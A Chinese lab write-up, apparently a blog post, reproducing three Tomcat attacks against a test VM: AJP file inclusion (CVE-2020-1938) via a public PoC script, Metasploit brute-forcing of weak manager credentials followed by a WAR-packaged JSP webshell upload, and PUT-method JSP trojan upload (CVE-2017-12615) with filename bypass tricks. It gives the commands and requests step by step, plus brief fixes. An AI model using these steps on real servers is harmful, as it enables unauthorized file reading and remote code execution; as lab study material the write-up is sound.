【Tomcat漏洞复现】CVE-2020-1938文件包含漏洞+Tomcat8+弱口令&&后台getshell漏洞+CVE_2017_12615远程代码执行漏洞

CVE-2020-1938

Tomcat默认开启AJP服务(8009端口),存在一处文件包含缺陷。攻击者可以通过构造的恶意请求包来进行文件包含操作,从而读取或包含Tomcat上所有webapp目录下的任意文件,如:webapp配置文件或源代码等。

tomcat默认的conf/server.xml中配置了2Connector,一个为8080的对外提供的HTTP协议端口,另外一个就是默认的8009 AJP协议端口,两个端口默认均监听在外网ip

1.使用nmap对靶机进行扫描,查看8009端口是否处于开放状态:

nmap -sS -p 1-65535 -v 192.168.225.139

2.从Github克隆POC脚本到本地kali:

git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi.git

3.尝试读取靶机上Tomcat服务器的/usr/local/tomcat/webapps/ROOT/WEB-INF文件:

python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.225.139 -p 8009 -f WEB-INF/web.xml

4.返回Ubuntu靶机,进入Docker容器,查看相应的文件是否与Kali攻击机获取到的一致:

首先查容器id:docker ps

进入容器的shell:

sudo docker exec -it df599 /bin/bash

查看web.xml文件,与远程读取的一致,成功复现CVE-2020-1938 漏洞,利用文件包含漏洞进阶获得RCE,因为WEB-INF下都是服务器端的源代码和配置文件,web.xml这个文件是不应该被访问的:

Ps:关于漏洞修复

1.临时禁用AJP协议8009端口,在conf/server.xml配置文件中注释掉<Connector port="8009" protocol="AJP/1.3"redirectPort="8443" />

2.配置ajp配置中的secretRequiredsecret属性来限制认证;

Tomcat8+弱口令&&后台getshell漏洞

漏洞成因:

Tomcat manager登录界面存在弱口令漏洞,登录成功后有上传点,压缩包xxx.war.war不会被解析,直接访问xxx/里面的一句话路径,可直接拿到shell

漏洞如何利用:

msfconsole中弱口令****成功后登录;

找到上传点,上传带有一句话jsp文件的名为xxx.war的包;

访问 攻击ip地址/xxx/jsp文件路径,再用webshell连接工具进行连接。

1.msfconsole爆破弱口令

msfconsole->search tomcat->use auxiliary/scanner/http/tomcat_mgr_login->show options->set rhosts 192.168.225.139->run

爆破出tomcat的账户密码:tomcat,tomcat

2.访问靶机8080端口,登录管理员界面:

登录后找到上传点,上传war包:

如何制作war包:jar cvf aaa.war shell.jsp(也可以直接压缩成zip,改后缀名为war)

3.冰蝎连接:http://192.168.225.139:8080/aaa/shell.jsp

CVE_2017_12615

漏洞原理:

在web.xm文件中Tomcat设置了写权限(readonly=false),导致我们可以用PUT方法向服务器写入文件。虽然tomcat会在一定情况下检查文件的后缀,但是我们可以根据不同的环境来进行bypass

1.打开网页,首先想要尝试登录管理员界面,发现受到限制无法登录。所以判断不是这个漏洞,tomcat还存在put任意文件上传的漏洞。

2.burp抓包,修改get请求为put请求,新增jsp木马,增加:

Content-Type:application/x-www-form-urlencoded

Upgrade-Insecure-Requests:1

Content-Length:433  (这个数字是木马的长度)

4.成功之后会返回204,注意:1.jsp+/后面要有/,主要是为了绕过文件上传限制:

Windows下不允许文件以空格结尾

1)以PUT /x.jsp%20 HTTP/1.1上传到windows会被自动去掉末尾空格;

2)WindowsNTFS流PUT /x.jsp::$DATA HTTP/1.1/在文件名中是非法的,也会被去除(Linux/Windows)

4.直接访问写入的1.jsp

5.找flag,根据经验在webapps下面,慢慢找吧。

  • 8
    点赞
  • 34
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值